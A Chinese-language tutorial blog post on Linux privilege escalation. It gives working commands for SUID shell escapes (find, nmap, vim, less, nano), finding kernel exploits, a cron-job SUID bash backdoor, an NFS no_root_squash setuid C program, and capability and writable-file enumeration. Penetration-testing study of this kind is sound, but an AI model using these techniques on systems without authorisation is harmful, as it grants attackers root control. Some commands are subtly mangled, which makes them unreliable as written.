渗透学习之Linux提权(一)

SUID提权

SUID 全称是 Set owner User ID up on execution。这是 Linux 给可执行文件的一个属性。通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。需要注意的是,只有程序的所有者是 0 号或其他 super user,同时拥有 SUID 权限,才可以提权。

SUID是一种特殊权限,可以让调用者在执行过程中暂时获得该文件拥有者的权限。如果可以找到并运行root用户所拥有的SUID的文件,那么就可以在运行该文件的时候获得root用户权限。

常见的可用来提权的Linux 可执行文件有:

nmap, vim, find, bash, more, less, nano, cp

寻找具有suid权限的文件:

1
2
3
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
  • /表示从文件系统的顶部(根)开始并找到每个目录
  • -perm 表示搜索随后的权限
  • -u = s表示查找root用户拥有的文件
  • -type表示我们正在寻找的文件类型
  • f 表示常规文件,而不是目录或特殊文件
  • 2表示该进程的第二个文件描述符,即stderr(标准错误)
  • /dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。

find提权

ls -l /usr/bin/find 查看find权限

find /etc/passwd -exec ‘/bin/sh’ ; 能够进入shell

find which find -exec cat /etc/passwd ; 能够执行指令(以root权限)

nmap提权

只存在于早期的nmap之中,带有交互模式,因而允许用户执行shell命令,适用版本:nmap2.02至5.21

使用如下命令进入nmap交互模式:

nmap –interactive

在nmap交互模式中 通过如下命令提权

1
2
3
nmap> !sh
sh-3.2# whoami
root

Vim提权

vim的主要用途是做编辑器,是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。

vim 运行shell

1
2
3
vim
:set shell=/bin/sh
:shell

less提权

less命令也可以进入shell

1
2
3
less /etc/passwd
#在less中输入:
!/bin/sh

more提权

more命令进入shell和less相同

1
2
3
more /etc/passwd
#在more中输入:
!/bin/sh

要注意的是使用more和less一定是读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell

nano提权

nano进入shell的方法为

nano #进入nano编辑器
Ctrl + R
Ctrl + X
#即可输入命令

利用内核漏洞

利用Linux内核漏洞进行提权,一般包含三个环节:

  • 对目标系统进行信息收集,获取到系统内核信息以及版本信息
  • 根据内核版本获取其对应的漏洞以及EXP
  • 使用找到的EXP对目标系统发起攻击,完成提权操作

内核溢出

漏洞的原理更偏向于pwn,指在操作系统内核空间发生的缓冲区溢出漏洞。即程序没有正确验证输入数据的大小时,多出的数据会覆盖相邻的内存,导致安全问题

信息收集

uname -a 查看内核版本

cat /etc/issue # 查看Linux 系统的版本信息

cat /etc/*-release # 查看Linux 系统的详细版本信息

lsb_release -a # 获取系统的详细信息,但系统不一定有lsb_release

cat /proc/version # 查看 Linux 内核的版本信息及相关的编译信息

查找exp

使用kali自带的searchsploit即可查找exp,如:

searchsploit Ubantu 15.04

searchsploit apache struts

使用exp

使用wget穿到受害主机上即可

著名漏洞:脏牛CVE-2016-5195(Dirty Cow脏牛)

计划任务提权

介绍

计划任务由 crontab 管理,非 root 用户是无法列出 root 用户的计划任务的,但可以列出 /etc 的系统任务,系统任务默认是 root 权限运行的

1
ls -l /etc/cron*

如果我们有能够修改某个计划任务指定的脚本,就可以往脚本里加入反弹shell等指令。

漏洞利用

  1. 查看计划任务,找到有修改权限的计划任务脚本

    1
    2
    ls -l /etc/cron*
    more /etc/crontab
  2. 在mysqlback.sh 添加 SUID shell后门,当定时任务以root再次执行的时候,可以获取root权限

    1
    2
    3
    cp /bin/bash /tmp/shell
    chmod u+s /tmp/shell

密码复用提权

数据库、后台 web 密码,其他配置文件出现的密码,可能就是 root 密码

检查弱密码

检查Web服务器连接到数据库的文件(config.php或类似文件)

检查数据库以获取可能被重用的管理员密码

NFS提权

NFS 是一种运行在端口 2049 上的网络文件共享协议,由服务器和客户端两个组件组成。共享目录是在 NFS 服务器上创建的,以便可以通过网络与其他 Linux 客户端共享文件,获得许可的用户可以将文件添加到共享中,然后与有权访问该目录的其他用户共享。

默认情况下,每个 NFS 共享均启用了 root_squash 功能,用以防止被共享的文件拥有 root:root 身份或特殊权限(即启用 root_squash 之后,共享文件均是 nobody:nogroup 身份)。而如果启用了 no_root_squash 功能,那么共享文件就可以以 root 的身份存在,这很容易导致权限升级。

利用

将exp放入共享文件夹中

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main() { setuid(0); system(“/bin/bash”); return 0; }

之后执行即可

Capabilities利用

于suid类似都是可以让普通用户执行管理员用户的能力

可用文件查找

1
2
3
4
5
6
7
getcap -r /usr/bin

setcap cap_net_raw+p /bin/*

setcap cap_setuid+ep /usr/bin/*

grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null

可写权限文件查找

1
2
3
find / -writable ! -user `whoami` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null
find / -perm -2 -type f 2>/dev/null
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null